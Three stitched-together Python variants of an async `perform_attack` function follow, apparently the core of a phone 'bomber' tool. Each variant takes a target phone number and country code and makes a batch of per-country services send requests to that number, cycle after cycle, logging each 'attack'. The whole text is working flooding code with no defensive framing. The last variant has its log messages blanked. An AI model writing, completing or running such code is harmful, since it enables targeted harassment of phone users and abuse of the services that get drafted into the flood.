async def perform_attack( attack_id: str, number_of_cycles: int, country_code: int, phone: str ): services = prepare_services() usable_services = services.get(country_code, services["other"]) status[attack_id]["started_at"] = datetime.now().isoformat() status[attack_id]["end_at"] = len(usable_services) * number_of_cycles logger.info(f"Starting attack {attack_id} on +{phone}...") for cycle in range(number_of_cycles): logger.info(f"Started cycle {cycle + 1} of attack {attack_id}") tasks = [ await_with_callback( service(phone, country_code).run(), update_count, attack_id=attack_id, ) for service in usable_services ] for task in asyncio.as_completed(tasks): await task logger.success(f"Attack {attack_id} on +{phone} ended")
async def perform_attack(attack_id: str, number_of_cycles: int, country_code: int, phone: str): if country_code in services: usable_services = services[country_code] else: usable_services = services["other"] status[attack_id]["started_at"] = datetime.now().isoformat() status[attack_id]["end_at"] = len(usable_services) * number_of_cycles logger.info(f"Starting attack {attack_id} on +{phone}...") for cycle in range(number_of_cycles): logger.info(f"Started cycle {cycle + 1} of attack {attack_id}") for service in usable_services: logger.debug(f"Running {service.__name__} in attack {attack_id}") asyncio.create_task( await_with_callback( service(phone, country_code).run(), update_count, attack_id=attack_id, )) # TODO Make sure every task from previous cycle have completed before starting new one await asyncio.sleep(3) logger.success(f"Attack {attack_id} on +{phone} ended")
async def _perform_attack(self): services = prepare_services() usable_services = services.get(self.country_code, services["other"]) status[self.attack_id]["started_at"] = datetime.now().isoformat() status[self.attack_id]["end_at"] = len( usable_services) * self.number_of_cycles logger.info("") for cycle in range(self.number_of_cycles): logger.info("") tasks = [ await_with_callback( service(self.phone, self.country_code).run(), update_count, attack_id=self.attack_id, ) for service in usable_services ] for task in asyncio.as_completed(tasks): await task logger.success("")